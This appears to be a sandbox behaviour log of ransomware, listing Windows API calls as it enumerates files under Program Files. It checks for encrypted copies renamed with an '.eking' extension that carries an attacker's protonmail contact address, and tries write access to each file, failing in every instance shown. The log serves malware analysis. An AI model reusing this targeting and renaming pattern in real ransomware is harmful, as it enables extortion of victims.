[0183.677] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=24791) returned 1 [0183.677] CloseHandle (hObject=0x1e0) returned 1 [0183.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png")) returned 0x20 [0183.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png")) returned 0x20 [0183.677] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\photograph.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\photograph.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.678] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.684] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=28701) returned 1 [0183.684] CloseHandle (hObject=0x1e0) returned 1 [0183.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png")) returned 0x20 [0183.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png")) returned 0x20 [0183.684] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.684] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.685] SetEvent (hEvent=0x174) returned 1 [0183.685] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.685] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=1545) returned 1 [0183.685] CloseHandle (hObject=0x1e0) returned 1 [0183.685] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png")) returned 0x20 [0183.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png")) returned 0x20 [0183.686] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.686] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.687] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=3159) returned 1 [0183.687] CloseHandle (hObject=0x1e0) returned 1 [0183.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png")) returned 0x20 [0183.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png")) returned 0x20 [0183.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\16_9-frame-image-inset.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\16_9-frame-image-inset.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.688] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8509) returned 1 [0183.688] CloseHandle (hObject=0x1e0) returned 1 [0183.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png")) returned 0x20 [0183.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png")) returned 0x20 [0183.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-back-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.691] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8120) returned 1 [0183.691] CloseHandle (hObject=0x1e0) returned 1 [0183.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png")) returned 0x20 [0183.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png")) returned 0x20 [0183.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-next-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-next-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.692] SetEvent (hEvent=0x174) returned 1 [0183.692] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.692] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=8406) returned 1 [0183.693] CloseHandle (hObject=0x1e0) returned 1 [0183.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png")) returned 0x20 [0183.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png")) returned 0x20 [0183.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\btn-previous-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\btn-previous-static.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.694] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=962) returned 1 [0183.694] CloseHandle (hObject=0x1e0) returned 1 [0183.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png")) returned 0x20 [0183.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png")) returned 0x20 [0183.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.695] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=716) returned 1 [0183.695] CloseHandle (hObject=0x1e0) returned 1 [0183.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png")) returned 0x20 [0183.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png")) returned 0x20 [0183.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-highlight.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-highlight.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.699] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=293917) returned 1 [0183.699] CloseHandle (hObject=0x1e0) returned 1 [0183.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png")) returned 0x20 [0183.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png")) returned 0x20 [0183.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\content-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\content-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.700] SetEvent (hEvent=0x174) returned 1 [0183.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.700] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=70262) returned 1 [0183.700] CloseHandle (hObject=0x1e0) returned 1 [0183.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png")) returned 0x20 [0183.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png")) returned 0x20 [0183.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\header-background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\header-background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.701] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=201323) returned 1 [0183.702] CloseHandle (hObject=0x1e0) returned 1 [0183.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png")) returned 0x20 [0183.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png")) returned 0x20 [0183.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passport.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.703] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=69268) returned 1 [0183.703] CloseHandle (hObject=0x1e0) returned 1 [0183.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv")) returned 0x20 [0183.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv")) returned 0x20 [0183.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\Passport.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passport.wmv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.969] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=363512) returned 1 [0183.969] CloseHandle (hObject=0x1e0) returned 1 [0183.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png")) returned 0x20 [0183.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png")) returned 0x20 [0183.970] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0183.970] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\passportcover.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\passportcover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.970] SetEvent (hEvent=0x174) returned 1 [0183.971] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.199] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=695056) returned 1 [0184.199] CloseHandle (hObject=0x1e0) returned 1 [0184.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0184.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe")) returned 0x20 [0184.200] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\internet explorer\\iexplore.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0184.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files\\internet explorer\\iexplore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0184.200] SetEvent (hEvent=0x174) returned 1 [0184.200] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0184.203] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2d5fd10 | out: lpFileSize=0x2d5fd10*=17248) returned 1 [0184.204] CloseHandle (hObject=0x1e0) returned 1 [0184.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 0x20 [0184.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 0x20 [0184.204] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff 